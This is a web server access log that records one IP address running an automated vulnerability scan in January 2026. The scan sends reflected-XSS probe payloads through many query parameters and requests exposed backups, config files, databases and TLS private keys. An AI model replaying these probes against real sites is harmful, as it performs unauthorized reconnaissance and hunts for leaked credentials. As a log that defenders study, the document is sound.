[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?taxonomy=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-taxonomy%27%29%3E&tables=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tables%27%29%3E&confirm=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-confirm%27%29%3E&db_port=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-db_port%27%29%3E&op=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-op%27%29%3E&untrashed=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-untrashed%27%29%3E&tid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tid%27%29%3E&flag=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-flag%27%29%3E&stylesheet=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-stylesheet%27%29%3E&download=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-download%27%29%3E&comment_status=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-comment_status%27%29%3E&_wpnonce=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-_wpnonce%27%29%3E&metakeyinput=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-metakeyinput%27%29%3E&remove=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-remove%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql-explorer HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views/fields HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //si.html HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927579984 HTTP/1.1" -
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.zip HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.tar HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/production.db HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.Z HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?deleted=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-deleted%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-search%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-action%27%29%3E&newname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-newname%27%29%3E&info=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-info%27%29%3E&content=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-content%27%29%3E&signature=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-signature%27%29%3E&noconfirmation=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-noconfirmation%27%29%3E&field=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-field%27%29%3E&output=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-output%27%29%3E&city=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-city%27%29%3E&rename=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-rename%27%29%3E&mail=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-mail%27%29%3E&term=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-term%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cert/202.181.208.139_key.txt HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-ui/api-docs HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql.php HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views/forValue HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sad.html HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.tar HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?tab=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tab%27%29%3E&domain=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-domain%27%29%3E&show=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-show%27%29%3E&submit=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-submit%27%29%3E&move=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-move%27%29%3E&userid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-userid%27%29%3E&oitar=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-oitar%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-key%27%29%3E&description=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-description%27%29%3E&user=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-user%27%29%3E&active=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-active%27%29%3E&clone=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-clone%27%29%3E&success=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-success%27%29%3E&slug=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-slug%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/doc.json HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cert/208.139_key.txt HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql/console HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views/search/messages HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //fake.html HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/api-docs HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.tar HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?widget=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-widget%27%29%3E&height=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-height%27%29%3E&screen=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-screen%27%29%3E&pass2=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-pass2%27%29%3E&redirect_to=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-redirect_to%27%29%3E&items=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-items%27%29%3E&string=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-string%27%29%3E&hidden=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-hidden%27%29%3E&f=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-f%27%29%3E&step=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-step%27%29%3E&role=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-role%27%29%3E&preview_nonce=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-preview_nonce%27%29%3E&date=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-date%27%29%3E&event=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-event%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.tgz HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cert/202.181.208.139.txt HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views/search/metadata HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql/schema.json HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //broken.html HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.db HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?num=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-num%27%29%3E&drop=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-drop%27%29%3E&g-recaptcha-response=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-g-recaptcha-response%27%29%3E&field_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-field_id%27%29%3E&user_email=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-user_email%27%29%3E&alias=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-alias%27%29%3E&ref=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ref%27%29%3E&save=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-save%27%29%3E&enabled=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-enabled%27%29%3E&year=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-year%27%29%3E&checked=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-checked%27%29%3E&post_ID=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_ID%27%29%3E&files=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-files%27%29%3E&text-color=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-text-color%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/apidocs HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.tar HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl/private/202.181.208.139_key.pem HTTP/1.1" 196
[09/Jan/2026:10:55:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //buy.html HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/views/search/sync HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql/schema.xml HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?admin_email=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-admin_email%27%29%3E&code=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-code%27%29%3E&dump=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-dump%27%29%3E&item=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-item%27%29%3E&timezone=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-timezone%27%29%3E&blog_public=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-blog_public%27%29%3E&add=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-add%27%29%3E&enable=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-enable%27%29%3E&customized=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-customized%27%29%3E&admin_password=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-admin_password%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-keywords%27%29%3E&timestamp=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-timestamp%27%29%3E&label=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-label%27%29%3E&g=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-g%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.jar HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.tar HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certs/202.181.208.139_private.key HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/users HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //home/208WORDPRESS.txt HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/graphql/schema.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //access.php HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/app.db HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?location=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-location%27%29%3E&link_url=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-link_url%27%29%3E&post_mime_type=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_mime_type%27%29%3E&uid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-uid%27%29%3E&host=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-host%27%29%3E&cmd=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-cmd%27%29%3E&link_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-link_id%27%29%3E&reset=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-reset%27%29%3E&nonce=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-nonce%27%29%3E&username=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-username%27%29%3E&site=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-site%27%29%3E&do=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-do%27%29%3E&email=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-email%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.tar HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certs/202.181.208.139.key HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger/static/index.html HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/playground HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //home/208-WORDPRESS.txt HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //info.php HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.tar HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certificates/202.181.208.139_priv.pem HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-resources HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/subscriptions HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/app.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //jquery.php HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certificates/202.181.208.139_privkey.pem HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger-resources/restservices/v2/api-docs HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2 HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/database.db HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.tar HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //news.php HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/__swagger__/ HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /certs/202.181.208.139.pem HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/altair HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
